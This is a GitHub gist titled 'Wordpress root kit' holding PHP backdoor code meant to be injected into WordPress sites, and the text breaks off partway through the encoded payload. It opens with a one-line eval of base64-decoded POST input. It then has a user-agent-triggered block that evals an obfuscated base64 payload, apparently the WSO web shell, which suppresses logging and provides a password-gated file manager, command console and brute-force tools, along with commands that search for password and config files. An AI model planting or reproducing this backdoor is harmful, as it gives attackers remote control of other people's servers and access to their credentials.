-
-
Save iamtutu/8e25a541ce74e7c178d70bd4de3d545a to your computer and use it in GitHub Desktop.
Wordpress root kit
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Injected VIA | |
<?php if ($_POST["php"]){eval(base64_decode($_POST["php"]));exit;} ?> | |
<?php | |
$ref = $_SERVER['HTTP_USER_AGENT']; | |
$keywordsRegex = "/AtOPvMzpDosdPDlkm3ZmPzxoP/i"; | |
if (preg_match($keywordsRegex, $ref)) { | |
$a='bas'.'e6'.'4_d'.'ecode';eval($a("QGluaV9zZXQoJ2Vycm9yX2xvZycsTlVMTCk7DQpAaW5pX3NldCgnbG9nX2Vycm9ycycsMCk7DQpA | |
aW5pX3NldCgnbWF4X2V4ZWN1dGlvbl90aW1lJywwKTsNCkBzZXRfdGltZV9saW1pdCgwKTsNCkBz | |
ZXRfbWFnaWNfcXVvdGVzX3J1bnRpbWUoMCk7DQpAZGVmaW5lKCdXU09fVkVSU0lPTicsICcyLjUn | |
KTsNCg0KaWYoZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSkgew0KCWZ1bmN0aW9uIFdTT3N0cmlwc2xh | |
c2hlcygkYXJyYXkpIHsNCgkJcmV0dXJuIGlzX2FycmF5KCRhcnJheSkgPyBhcnJheV9tYXAoJ1dT | |
T3N0cmlwc2xhc2hlcycsICRhcnJheSkgOiBzdHJpcHNsYXNoZXMoJGFycmF5KTsNCgl9DQoJJF9Q | |
T1NUID0gV1NPc3RyaXBzbGFzaGVzKCRfUE9TVCk7DQogICAgJF9DT09LSUUgPSBXU09zdHJpcHNs | |
YXNoZXMoJF9DT09LSUUpOw0KfQ0KDQpmdW5jdGlvbiB3c29Mb2dpbigpIHsNCglkaWUoIjxwcmUg | |
YWxpZ249Y2VudGVyPjxmb3JtIG1ldGhvZD1wb3N0PlBhc3N3b3JkOiA8aW5wdXQgdHlwZT1wYXNz | |
d29yZCBuYW1lPXBhc3M+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSc+Pic+PC9mb3JtPjwvcHJl | |
PiIpOw0KfQ0KDQpmdW5jdGlvbiBXU09zZXRjb29raWUoJGssICR2KSB7DQogICAgJF9DT09LSUVb | |
JGtdID0gJHY7DQogICAgc2V0Y29va2llKCRrLCAkdik7DQp9DQoNCmlmKCFlbXB0eSgkYXV0aF9w | |
YXNzKSkgew0KICAgIGlmKGlzc2V0KCRfUE9TVFsncGFzcyddKSAmJiAobWQ1KCRfUE9TVFsncGFz | |
cyddKSA9PSAkYXV0aF9wYXNzKSkNCiAgICAgICAgV1NPc2V0Y29va2llKG1kNSgkX1NFUlZFUlsn | |
SFRUUF9IT1NUJ10pLCAkYXV0aF9wYXNzKTsNCg0KICAgIGlmICghaXNzZXQoJF9DT09LSUVbbWQ1 | |
KCRfU0VSVkVSWydIVFRQX0hPU1QnXSldKSB8fCAoJF9DT09LSUVbbWQ1KCRfU0VSVkVSWydIVFRQ | |
X0hPU1QnXSldICE9ICRhdXRoX3Bhc3MpKQ0KICAgICAgICB3c29Mb2dpbigpOw0KfQ0KDQppZihz | |
dHJ0b2xvd2VyKHN1YnN0cihQSFBfT1MsMCwzKSkgPT0gIndpbiIpDQoJJG9zID0gJ3dpbic7DQpl | |
bHNlDQoJJG9zID0gJ25peCc7DQoNCiRzYWZlX21vZGUgPSBAaW5pX2dldCgnc2FmZV9tb2RlJyk7 | |
DQppZighJHNhZmVfbW9kZSkNCiAgICBlcnJvcl9yZXBvcnRpbmcoMCk7DQoNCiRkaXNhYmxlX2Z1 | |
bmN0aW9ucyA9IEBpbmlfZ2V0KCdkaXNhYmxlX2Z1bmN0aW9ucycpOw0KJGhvbWVfY3dkID0gQGdl | |
dGN3ZCgpOw0KaWYoaXNzZXQoJF9QT1NUWydjJ10pKQ0KCUBjaGRpcigkX1BPU1RbJ2MnXSk7DQok | |
Y3dkID0gQGdldGN3ZCgpOw0KaWYoJG9zID09ICd3aW4nKSB7DQoJJGhvbWVfY3dkID0gc3RyX3Jl | |
cGxhY2UoIlxcIiwgIi8iLCAkaG9tZV9jd2QpOw0KCSRjd2QgPSBzdHJfcmVwbGFjZSgiXFwiLCAi | |
LyIsICRjd2QpOw0KfQ0KaWYoJGN3ZFtzdHJsZW4oJGN3ZCktMV0gIT0gJy8nKQ0KCSRjd2QgLj0g | |
Jy8nOw0KDQppZighaXNzZXQoJF9DT09LSUVbbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkgLiAn | |
YWpheCddKSkNCiAgICAkX0NPT0tJRVttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKSAuICdhamF4 | |
J10gPSAoYm9vbCkkZGVmYXVsdF91c2VfYWpheDsNCg0KaWYoJG9zID09ICd3aW4nKQ0KCSRhbGlh | |
c2VzID0gYXJyYXkoDQoJCSJMaXN0IERpcmVjdG9yeSIgPT4gImRpciIsDQogICAgCSJGaW5kIGlu | |
ZGV4LnBocCBpbiBjdXJyZW50IGRpciIgPT4gImRpciAvcyAvdyAvYiBpbmRleC5waHAiLA0KICAg | |
IAkiRmluZCAqY29uZmlnKi5waHAgaW4gY3VycmVudCBkaXIiID0+ICJkaXIgL3MgL3cgL2IgKmNv | |
bmZpZyoucGhwIiwNCiAgICAJIlNob3cgYWN0aXZlIGNvbm5lY3Rpb25zIiA9PiAibmV0c3RhdCAt | |
YW4iLA0KICAgIAkiU2hvdyBydW5uaW5nIHNlcnZpY2VzIiA9PiAibmV0IHN0YXJ0IiwNCiAgICAJ | |
IlVzZXIgYWNjb3VudHMiID0+ICJuZXQgdXNlciIsDQogICAgCSJTaG93IGNvbXB1dGVycyIgPT4g | |
Im5ldCB2aWV3IiwNCgkJIkFSUCBUYWJsZSIgPT4gImFycCAtYSIsDQoJCSJJUCBDb25maWd1cmF0 | |
aW9uIiA9PiAiaXBjb25maWcgL2FsbCINCgkpOw0KZWxzZQ0KCSRhbGlhc2VzID0gYXJyYXkoDQog | |
IAkJIkxpc3QgZGlyIiA9PiAibHMgLWxoYSIsDQoJCSJsaXN0IGZpbGUgYXR0cmlidXRlcyBvbiBh | |
IExpbnV4IHNlY29uZCBleHRlbmRlZCBmaWxlIHN5c3RlbSIgPT4gImxzYXR0ciAtdmEiLA0KICAJ | |
CSJzaG93IG9wZW5lZCBwb3J0cyIgPT4gIm5ldHN0YXQgLWFuIHwgZ3JlcCAtaSBsaXN0ZW4iLA0K | |
ICAgICAgICAicHJvY2VzcyBzdGF0dXMiID0+ICJwcyBhdXgiLA0KCQkiRmluZCIgPT4gIiIsDQog | |
IAkJImZpbmQgYWxsIHN1aWQgZmlsZXMiID0+ICJmaW5kIC8gLXR5cGUgZiAtcGVybSAtMDQwMDAg | |
LWxzIiwNCiAgCQkiZmluZCBzdWlkIGZpbGVzIGluIGN1cnJlbnQgZGlyIiA9PiAiZmluZCAuIC10 | |
eXBlIGYgLXBlcm0gLTA0MDAwIC1scyIsDQogIAkJImZpbmQgYWxsIHNnaWQgZmlsZXMiID0+ICJm | |
aW5kIC8gLXR5cGUgZiAtcGVybSAtMDIwMDAgLWxzIiwNCiAgCQkiZmluZCBzZ2lkIGZpbGVzIGlu | |
IGN1cnJlbnQgZGlyIiA9PiAiZmluZCAuIC10eXBlIGYgLXBlcm0gLTAyMDAwIC1scyIsDQogIAkJ | |
ImZpbmQgY29uZmlnLmluYy5waHAgZmlsZXMiID0+ICJmaW5kIC8gLXR5cGUgZiAtbmFtZSBjb25m | |
aWcuaW5jLnBocCIsDQogIAkJImZpbmQgY29uZmlnKiBmaWxlcyIgPT4gImZpbmQgLyAtdHlwZSBm | |
IC1uYW1lIFwiY29uZmlnKlwiIiwNCiAgCQkiZmluZCBjb25maWcqIGZpbGVzIGluIGN1cnJlbnQg | |
ZGlyIiA9PiAiZmluZCAuIC10eXBlIGYgLW5hbWUgXCJjb25maWcqXCIiLA0KICAJCSJmaW5kIGFs | |
bCB3cml0YWJsZSBmb2xkZXJzIGFuZCBmaWxlcyIgPT4gImZpbmQgLyAtcGVybSAtMiAtbHMiLA0K | |
ICAJCSJmaW5kIGFsbCB3cml0YWJsZSBmb2xkZXJzIGFuZCBmaWxlcyBpbiBjdXJyZW50IGRpciIg | |
PT4gImZpbmQgLiAtcGVybSAtMiAtbHMiLA0KICAJCSJmaW5kIGFsbCBzZXJ2aWNlLnB3ZCBmaWxl | |
cyIgPT4gImZpbmQgLyAtdHlwZSBmIC1uYW1lIHNlcnZpY2UucHdkIiwNCiAgCQkiZmluZCBzZXJ2 | |
aWNlLnB3ZCBmaWxlcyBpbiBjdXJyZW50IGRpciIgPT4gImZpbmQgLiAtdHlwZSBmIC1uYW1lIHNl | |
cnZpY2UucHdkIiwNCiAgCQkiZmluZCBhbGwgLmh0cGFzc3dkIGZpbGVzIiA9PiAiZmluZCAvIC10 | |
eXBlIGYgLW5hbWUgLmh0cGFzc3dkIiwNCiAgCQkiZmluZCAuaHRwYXNzd2QgZmlsZXMgaW4gY3Vy | |
cmVudCBkaXIiID0+ICJmaW5kIC4gLXR5cGUgZiAtbmFtZSAuaHRwYXNzd2QiLA0KICAJCSJmaW5k | |
IGFsbCAuYmFzaF9oaXN0b3J5IGZpbGVzIiA9PiAiZmluZCAvIC10eXBlIGYgLW5hbWUgLmJhc2hf | |
aGlzdG9yeSIsDQogIAkJImZpbmQgLmJhc2hfaGlzdG9yeSBmaWxlcyBpbiBjdXJyZW50IGRpciIg | |
PT4gImZpbmQgLiAtdHlwZSBmIC1uYW1lIC5iYXNoX2hpc3RvcnkiLA0KICAJCSJmaW5kIGFsbCAu | |
ZmV0Y2htYWlscmMgZmlsZXMiID0+ICJmaW5kIC8gLXR5cGUgZiAtbmFtZSAuZmV0Y2htYWlscmMi | |
LA0KICAJCSJmaW5kIC5mZXRjaG1haWxyYyBmaWxlcyBpbiBjdXJyZW50IGRpciIgPT4gImZpbmQg | |
LiAtdHlwZSBmIC1uYW1lIC5mZXRjaG1haWxyYyIsDQoJCSJMb2NhdGUiID0+ICIiLA0KICAJCSJs | |
b2NhdGUgaHR0cGQuY29uZiBmaWxlcyIgPT4gImxvY2F0ZSBodHRwZC5jb25mIiwNCgkJImxvY2F0 | |
ZSB2aG9zdHMuY29uZiBmaWxlcyIgPT4gImxvY2F0ZSB2aG9zdHMuY29uZiIsDQoJCSJsb2NhdGUg | |
cHJvZnRwZC5jb25mIGZpbGVzIiA9PiAibG9jYXRlIHByb2Z0cGQuY29uZiIsDQoJCSJsb2NhdGUg | |
cHN5Ym5jLmNvbmYgZmlsZXMiID0+ICJsb2NhdGUgcHN5Ym5jLmNvbmYiLA0KCQkibG9jYXRlIG15 | |
LmNvbmYgZmlsZXMiID0+ICJsb2NhdGUgbXkuY29uZiIsDQoJCSJsb2NhdGUgYWRtaW4ucGhwIGZp | |
bGVzIiA9PiJsb2NhdGUgYWRtaW4ucGhwIiwNCgkJImxvY2F0ZSBjZmcucGhwIGZpbGVzIiA9PiAi | |
bG9jYXRlIGNmZy5waHAiLA0KCQkibG9jYXRlIGNvbmYucGhwIGZpbGVzIiA9PiAibG9jYXRlIGNv | |
bmYucGhwIiwNCgkJImxvY2F0ZSBjb25maWcuZGF0IGZpbGVzIiA9PiAibG9jYXRlIGNvbmZpZy5k | |
YXQiLA0KCQkibG9jYXRlIGNvbmZpZy5waHAgZmlsZXMiID0+ICJsb2NhdGUgY29uZmlnLnBocCIs | |
DQoJCSJsb2NhdGUgY29uZmlnLmluYyBmaWxlcyIgPT4gImxvY2F0ZSBjb25maWcuaW5jIiwNCgkJ | |
ImxvY2F0ZSBjb25maWcuaW5jLnBocCIgPT4gImxvY2F0ZSBjb25maWcuaW5jLnBocCIsDQoJCSJs | |
b2NhdGUgY29uZmlnLmRlZmF1bHQucGhwIGZpbGVzIiA9PiAibG9jYXRlIGNvbmZpZy5kZWZhdWx0 | |
LnBocCIsDQoJCSJsb2NhdGUgY29uZmlnKiBmaWxlcyAiID0+ICJsb2NhdGUgY29uZmlnIiwNCgkJ | |
ImxvY2F0ZSAuY29uZiBmaWxlcyI9PiJsb2NhdGUgJy5jb25mJyIsDQoJCSJsb2NhdGUgLnB3ZCBm | |
aWxlcyIgPT4gImxvY2F0ZSAnLnB3ZCciLA0KCQkibG9jYXRlIC5zcWwgZmlsZXMiID0+ICJsb2Nh | |
dGUgJy5zcWwnIiwNCgkJImxvY2F0ZSAuaHRwYXNzd2QgZmlsZXMiID0+ICJsb2NhdGUgJy5odHBh | |
c3N3ZCciLA0KCQkibG9jYXRlIC5iYXNoX2hpc3RvcnkgZmlsZXMiID0+ICJsb2NhdGUgJy5iYXNo | |
X2hpc3RvcnknIiwNCgkJImxvY2F0ZSAubXlzcWxfaGlzdG9yeSBmaWxlcyIgPT4gImxvY2F0ZSAn | |
Lm15c3FsX2hpc3RvcnknIiwNCgkJImxvY2F0ZSAuZmV0Y2htYWlscmMgZmlsZXMiID0+ICJsb2Nh | |
dGUgJy5mZXRjaG1haWxyYyciLA0KCQkibG9jYXRlIGJhY2t1cCBmaWxlcyIgPT4gImxvY2F0ZSBi | |
YWNrdXAiLA0KCQkibG9jYXRlIGR1bXAgZmlsZXMiID0+ICJsb2NhdGUgZHVtcCIsDQoJCSJsb2Nh | |
dGUgcHJpdiBmaWxlcyIgPT4gImxvY2F0ZSBwcml2Ig0KCSk7DQoNCmZ1bmN0aW9uIHdzb0hlYWRl | |
cigpIHsNCglpZihlbXB0eSgkX1BPU1RbJ2NoYXJzZXQnXSkpDQoJCSRfUE9TVFsnY2hhcnNldCdd | |
ID0gJEdMT0JBTFNbJ2RlZmF1bHRfY2hhcnNldCddOw0KCWdsb2JhbCAkY29sb3I7DQoJaWYoISRj | |
b2xvcikJJGNvbG9yID0gJ3doaXRlJzsNCgllY2hvICI8aHRtbD48aGVhZD48bWV0YSBodHRwLWVx | |
dWl2PSdDb250ZW50LVR5cGUnIGNvbnRlbnQ9J3RleHQvaHRtbDsgY2hhcnNldD0iIC4gJF9QT1NU | |
WydjaGFyc2V0J10gLiAiJz48dGl0bGU+IiAuICRfU0VSVkVSWydIVFRQX0hPU1QnXSAuICIgLSBX | |
U08gIiAuIFdTT19WRVJTSU9OIC4iPC90aXRsZT4NCjxzdHlsZT4NCmJvZHl7YmFja2dyb3VuZC1j | |
b2xvcjojNDQ0O2NvbG9yOiNlMWUxZTE7fQ0KYm9keSx0ZCx0aHsgZm9udDogOXB0IEx1Y2lkYSxW | |
ZXJkYW5hO21hcmdpbjowO3ZlcnRpY2FsLWFsaWduOnRvcDtjb2xvcjojZTFlMWUxOyB9DQp0YWJs | |
ZS5pbmZveyBjb2xvcjojZmZmO2JhY2tncm91bmQtY29sb3I6IzIyMjsgfQ0Kc3BhbixoMSxheyBj | |
b2xvcjogJGNvbG9yICFpbXBvcnRhbnQ7IH0NCnNwYW57IGZvbnQtd2VpZ2h0OiBib2xkZXI7IH0N | |
CmgxeyBib3JkZXItbGVmdDo1cHggc29saWQgJGNvbG9yO3BhZGRpbmc6IDJweCA1cHg7Zm9udDog | |
MTRwdCBWZXJkYW5hO2JhY2tncm91bmQtY29sb3I6IzIyMjttYXJnaW46MHB4OyB9DQpkaXYuY29u | |
dGVudHsgcGFkZGluZzogNXB4O21hcmdpbi1sZWZ0OjVweDtiYWNrZ3JvdW5kLWNvbG9yOiMzMzM7 | |
IH0NCmF7IHRleHQtZGVjb3JhdGlvbjpub25lOyB9DQphOmhvdmVyeyB0ZXh0LWRlY29yYXRpb246 | |
dW5kZXJsaW5lOyB9DQoubWwxeyBib3JkZXI6MXB4IHNvbGlkICM0NDQ7cGFkZGluZzo1cHg7bWFy | |
Z2luOjA7b3ZlcmZsb3c6IGF1dG87IH0NCi5iaWdhcmVheyB3aWR0aDoxMDAlO2hlaWdodDozMDBw | |
eDsgfQ0KaW5wdXQsdGV4dGFyZWEsc2VsZWN0eyBtYXJnaW46MDtjb2xvcjojZmZmO2JhY2tncm91 | |
bmQtY29sb3I6IzU1NTtib3JkZXI6MXB4IHNvbGlkICRjb2xvcjsgZm9udDogOXB0IE1vbm9zcGFj | |
ZSwnQ291cmllciBOZXcnOyB9DQpmb3JteyBtYXJnaW46MHB4OyB9DQojdG9vbHNUYmx7IHRleHQt | |
YWxpZ246Y2VudGVyOyB9DQoudG9vbHNJbnB7IHdpZHRoOiAzMDBweCB9DQoubWFpbiB0aHt0ZXh0 | |
LWFsaWduOmxlZnQ7YmFja2dyb3VuZC1jb2xvcjojNWU1ZTVlO30NCi5tYWluIHRyOmhvdmVye2Jh | |
Y2tncm91bmQtY29sb3I6IzVlNWU1ZX0NCi5sMXtiYWNrZ3JvdW5kLWNvbG9yOiM0NDR9DQoubDJ7 | |
YmFja2dyb3VuZC1jb2xvcjojMzMzfQ0KcHJle2ZvbnQtZmFtaWx5OkNvdXJpZXIsTW9ub3NwYWNl | |
O30NCjwvc3R5bGU+DQo8c2NyaXB0Pg0KICAgIHZhciBjXyA9ICciIC4gaHRtbHNwZWNpYWxjaGFy | |
cygkR0xPQkFMU1snY3dkJ10pIC4gIic7DQogICAgdmFyIGFfID0gJyIgLiBodG1sc3BlY2lhbGNo | |
YXJzKEAkX1BPU1RbJ2EnXSkgLiInDQogICAgdmFyIGNoYXJzZXRfID0gJyIgLiBodG1sc3BlY2lh | |
bGNoYXJzKEAkX1BPU1RbJ2NoYXJzZXQnXSkgLiInOw0KICAgIHZhciBwMV8gPSAnIiAuICgoc3Ry | |
cG9zKEAkX1BPU1RbJ3AxJ10sIlxuIikhPT1mYWxzZSk/Jyc6aHRtbHNwZWNpYWxjaGFycygkX1BP | |
U1RbJ3AxJ10sRU5UX1FVT1RFUykpIC4iJzsNCiAgICB2YXIgcDJfID0gJyIgLiAoKHN0cnBvcyhA | |
JF9QT1NUWydwMiddLCJcbiIpIT09ZmFsc2UpPycnOmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydw | |
MiddLEVOVF9RVU9URVMpKSAuIic7DQogICAgdmFyIHAzXyA9ICciIC4gKChzdHJwb3MoQCRfUE9T | |
VFsncDMnXSwiXG4iKSE9PWZhbHNlKT8nJzpodG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsncDMnXSxF | |
TlRfUVVPVEVTKSkgLiInOw0KICAgIHZhciBkID0gZG9jdW1lbnQ7DQoJZnVuY3Rpb24gc2V0KGEs | |
YyxwMSxwMixwMyxjaGFyc2V0KSB7DQoJCWlmKGEhPW51bGwpZC5tZi5hLnZhbHVlPWE7ZWxzZSBk | |
Lm1mLmEudmFsdWU9YV87DQoJCWlmKGMhPW51bGwpZC5tZi5jLnZhbHVlPWM7ZWxzZSBkLm1mLmMu | |
dmFsdWU9Y187DQoJCWlmKHAxIT1udWxsKWQubWYucDEudmFsdWU9cDE7ZWxzZSBkLm1mLnAxLnZh | |
bHVlPXAxXzsNCgkJaWYocDIhPW51bGwpZC5tZi5wMi52YWx1ZT1wMjtlbHNlIGQubWYucDIudmFs | |
dWU9cDJfOw0KCQlpZihwMyE9bnVsbClkLm1mLnAzLnZhbHVlPXAzO2Vsc2UgZC5tZi5wMy52YWx1 | |
ZT1wM187DQoJCWlmKGNoYXJzZXQhPW51bGwpZC5tZi5jaGFyc2V0LnZhbHVlPWNoYXJzZXQ7ZWxz | |
ZSBkLm1mLmNoYXJzZXQudmFsdWU9Y2hhcnNldF87DQoJfQ0KCWZ1bmN0aW9uIGcoYSxjLHAxLHAy | |
LHAzLGNoYXJzZXQpIHsNCgkJc2V0KGEsYyxwMSxwMixwMyxjaGFyc2V0KTsNCgkJZC5tZi5zdWJt | |
aXQoKTsNCgl9DQoJZnVuY3Rpb24gYShhLGMscDEscDIscDMsY2hhcnNldCkgew0KCQlzZXQoYSxj | |
LHAxLHAyLHAzLGNoYXJzZXQpOw0KCQl2YXIgcGFyYW1zID0gJ2FqYXg9dHJ1ZSc7DQoJCWZvcihp | |
PTA7aTxkLm1mLmVsZW1lbnRzLmxlbmd0aDtpKyspDQoJCQlwYXJhbXMgKz0gJyYnK2QubWYuZWxl | |
bWVudHNbaV0ubmFtZSsnPScrZW5jb2RlVVJJQ29tcG9uZW50KGQubWYuZWxlbWVudHNbaV0udmFs | |
dWUpOw0KCQlzcignIiAuIGFkZHNsYXNoZXMoJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10pIC4iJywg | |
cGFyYW1zKTsNCgl9DQoJZnVuY3Rpb24gc3IodXJsLCBwYXJhbXMpIHsNCgkJaWYgKHdpbmRvdy5Y | |
TUxIdHRwUmVxdWVzdCkNCgkJCXJlcSA9IG5ldyBYTUxIdHRwUmVxdWVzdCgpOw0KCQllbHNlIGlm | |
ICh3aW5kb3cuQWN0aXZlWE9iamVjdCkNCgkJCXJlcSA9IG5ldyBBY3RpdmVYT2JqZWN0KCdNaWNy | |
b3NvZnQuWE1MSFRUUCcpOw0KICAgICAgICBpZiAocmVxKSB7DQogICAgICAgICAgICByZXEub25y | |
ZWFkeXN0YXRlY2hhbmdlID0gcHJvY2Vzc1JlcUNoYW5nZTsNCiAgICAgICAgICAgIHJlcS5vcGVu | |
KCdQT1NUJywgdXJsLCB0cnVlKTsNCiAgICAgICAgICAgIHJlcS5zZXRSZXF1ZXN0SGVhZGVyICgn | |
Q29udGVudC1UeXBlJywgJ2FwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCcpOw0KICAg | |
ICAgICAgICAgcmVxLnNlbmQocGFyYW1zKTsNCiAgICAgICAgfQ0KCX0NCglmdW5jdGlvbiBwcm9j | |
ZXNzUmVxQ2hhbmdlKCkgew0KCQlpZiggKHJlcS5yZWFkeVN0YXRlID09IDQpICkNCgkJCWlmKHJl | |
cS5zdGF0dXMgPT0gMjAwKSB7DQoJCQkJdmFyIHJlZyA9IG5ldyBSZWdFeHAoXCIoXFxcXGQrKShb | |
XFxcXFNcXFxcc10qKVwiLCAnbScpOw0KCQkJCXZhciBhcnI9cmVnLmV4ZWMocmVxLnJlc3BvbnNl | |
VGV4dCk7DQoJCQkJZXZhbChhcnJbMl0uc3Vic3RyKDAsIGFyclsxXSkpOw0KCQkJfSBlbHNlIGFs | |
ZXJ0KCdSZXF1ZXN0IGVycm9yIScpOw0KCX0NCiAgICAgICAgICAgICAgICAgICAgDQo8L3Njcmlw | |
dD4NCjxoZWFkPjxib2R5PjxkaXYgc3R5bGU9J3Bvc2l0aW9uOmFic29sdXRlO3dpZHRoOjEwMCU7 | |
YmFja2dyb3VuZC1jb2xvcjojNDQ0O3RvcDowO2xlZnQ6MDsnPg0KPGZvcm0gbWV0aG9kPXBvc3Qg | |
bmFtZT1tZiBzdHlsZT0nZGlzcGxheTpub25lOyc+DQo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1h | |
Pg0KPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9Yz4NCjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXAx | |
Pg0KPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9cDI+DQo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1w | |
Mz4NCjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWNoYXJzZXQ+DQo8L2Zvcm0+IjsNCgkkZnJlZVNw | |
YWNlID0gQGRpc2tmcmVlc3BhY2UoJEdMT0JBTFNbJ2N3ZCddKTsNCgkkdG90YWxTcGFjZSA9IEBk | |
aXNrX3RvdGFsX3NwYWNlKCRHTE9CQUxTWydjd2QnXSk7DQoJJHRvdGFsU3BhY2UgPSAkdG90YWxT | |
cGFjZT8kdG90YWxTcGFjZToxOw0KCSRyZWxlYXNlID0gQHBocF91bmFtZSgncicpOw0KCSRrZXJu | |
ZWwgPSBAcGhwX3VuYW1lKCdzJyk7DQoJJGV4cGxpbmsgPSAnaHR0cDovL2V4cGxvaXQtZGIuY29t | |
L3NlYXJjaC8/YWN0aW9uPXNlYXJjaCZmaWx0ZXJfZGVzY3JpcHRpb249JzsNCglpZihzdHJwb3Mo | |
J0xpbnV4JywgJGtlcm5lbCkgIT09IGZhbHNlKQ0KCQkkZXhwbGluayAuPSB1cmxlbmNvZGUoJ0xp | |
bnV4IEtlcm5lbCAnIC4gc3Vic3RyKCRyZWxlYXNlLDAsNikpOw0KCWVsc2UNCgkJJGV4cGxpbmsg | |
Lj0gdXJsZW5jb2RlKCRrZXJuZWwgLiAnICcgLiBzdWJzdHIoJHJlbGVhc2UsMCwzKSk7DQoJaWYo | |
IWZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0ZWdpZCcpKSB7DQoJCSR1c2VyID0gQGdldF9jdXJy | |
ZW50X3VzZXIoKTsNCgkJJHVpZCA9IEBnZXRteXVpZCgpOw0KCQkkZ2lkID0gQGdldG15Z2lkKCk7 | |
DQoJCSRncm91cCA9ICI/IjsNCgl9IGVsc2Ugew0KCQkkdWlkID0gQHBvc2l4X2dldHB3dWlkKHBv | |
c2l4X2dldGV1aWQoKSk7DQoJCSRnaWQgPSBAcG9zaXhfZ2V0Z3JnaWQocG9zaXhfZ2V0ZWdpZCgp | |
KTsNCgkJJHVzZXIgPSAkdWlkWyduYW1lJ107DQoJCSR1aWQgPSAkdWlkWyd1aWQnXTsNCgkJJGdy | |
b3VwID0gJGdpZFsnbmFtZSddOw0KCQkkZ2lkID0gJGdpZFsnZ2lkJ107DQoJfQ0KDQoJJGN3ZF9s | |
aW5rcyA9ICcnOw0KCSRwYXRoID0gZXhwbG9kZSgiLyIsICRHTE9CQUxTWydjd2QnXSk7DQoJJG49 | |
Y291bnQoJHBhdGgpOw0KCWZvcigkaT0wOyAkaTwkbi0xOyAkaSsrKSB7DQoJCSRjd2RfbGlua3Mg | |
Lj0gIjxhIGhyZWY9JyMnIG9uY2xpY2s9J2coXCJGaWxlc01hblwiLFwiIjsNCgkJZm9yKCRqPTA7 | |
ICRqPD0kaTsgJGorKykNCgkJCSRjd2RfbGlua3MgLj0gJHBhdGhbJGpdLicvJzsNCgkJJGN3ZF9s | |
aW5rcyAuPSAiXCIpJz4iLiRwYXRoWyRpXS4iLzwvYT4iOw0KCX0NCg0KCSRjaGFyc2V0cyA9IGFy | |
cmF5KCdVVEYtOCcsICdXaW5kb3dzLTEyNTEnLCAnS09JOC1SJywgJ0tPSTgtVScsICdjcDg2Nicp | |
Ow0KCSRvcHRfY2hhcnNldHMgPSAnJzsNCglmb3JlYWNoKCRjaGFyc2V0cyBhcyAkaXRlbSkNCgkJ | |
JG9wdF9jaGFyc2V0cyAuPSAnPG9wdGlvbiB2YWx1ZT0iJy4kaXRlbS4nIiAnLigkX1BPU1RbJ2No | |
YXJzZXQnXT09JGl0ZW0/J3NlbGVjdGVkJzonJykuJz4nLiRpdGVtLic8L29wdGlvbj4nOw0KDQoJ | |
JG0gPSBhcnJheSgnU2VjLiBJbmZvJz0+J1NlY0luZm8nLCdGaWxlcyc9PidGaWxlc01hbicsJ0Nv | |
bnNvbGUnPT4nQ29uc29sZScsJ1NxbCc9PidTcWwnLCdQaHAnPT4nUGhwJywnU3RyaW5nIHRvb2xz | |
Jz0+J1N0cmluZ1Rvb2xzJywnQnJ1dGVmb3JjZSc9PidCcnV0ZWZvcmNlJywnTmV0d29yayc9PidO | |
ZXR3b3JrJyk7DQoJaWYoIWVtcHR5KCRHTE9CQUxTWydhdXRoX3Bhc3MnXSkpDQoJCSRtWydMb2dv | |
dXQnXSA9ICdMb2dvdXQnOw0KCSRtWydTZWxmIHJlbW92ZSddID0gJ1NlbGZSZW1vdmUnOw0KCSRt | |
ZW51ID0gJyc7DQoJZm9yZWFjaCgkbSBhcyAkayA9PiAkdikNCgkJJG1lbnUgLj0gJzx0aCB3aWR0 | |
aD0iJy4oaW50KSgxMDAvY291bnQoJG0pKS4nJSI+WyA8YSBocmVmPSIjIiBvbmNsaWNrPSJnKFwn | |
Jy4kdi4nXCcsbnVsbCxcJ1wnLFwnXCcsXCdcJykiPicuJGsuJzwvYT4gXTwvdGg+JzsNCg0KCSRk | |
cml2ZXMgPSAiIjsNCglpZigkR0xPQkFMU1snb3MnXSA9PSAnd2luJykgew0KCQlmb3JlYWNoKHJh | |
bmdlKCdjJywneicpIGFzICRkcml2ZSkNCgkJaWYoaXNfZGlyKCRkcml2ZS4nOlxcJykpDQoJCQkk | |
ZHJpdmVzIC49ICc8YSBocmVmPSIjIiBvbmNsaWNrPSJnKFwnRmlsZXNNYW5cJyxcJycuJGRyaXZl | |
Lic6L1wnKSI+WyAnLiRkcml2ZS4nIF08L2E+ICc7DQoJfQ0KCWVjaG8gJzx0YWJsZSBjbGFzcz1p | |
bmZvIGNlbGxwYWRkaW5nPTMgY2VsbHNwYWNpbmc9MCB3aWR0aD0xMDAlPjx0cj48dGQgd2lkdGg9 | |
MT48c3Bhbj5VbmFtZTo8YnI+VXNlcjo8YnI+UGhwOjxicj5IZGQ6PGJyPkN3ZDonIC4gKCRHTE9C | |
QUxTWydvcyddID09ICd3aW4nPyc8YnI+RHJpdmVzOic6JycpIC4gJzwvc3Bhbj48L3RkPicNCiAg | |
ICAgICAuICc8dGQ+PG5vYnI+JyAuIHN1YnN0cihAcGhwX3VuYW1lKCksIDAsIDEyMCkgLiAnIDxh | |
IGhyZWY9IicgLiAkZXhwbGluayAuICciIHRhcmdldD1fYmxhbms+W2V4cGxvaXQtZGIuY29tXTwv | |
YT48L25vYnI+PGJyPicgLiAkdWlkIC4gJyAoICcgLiAkdXNlciAuICcgKSA8c3Bhbj5Hcm91cDo8 | |
L3NwYW4+ICcgLiAkZ2lkIC4gJyAoICcgLiAkZ3JvdXAgLiAnICk8YnI+JyAuIEBwaHB2ZXJzaW9u | |
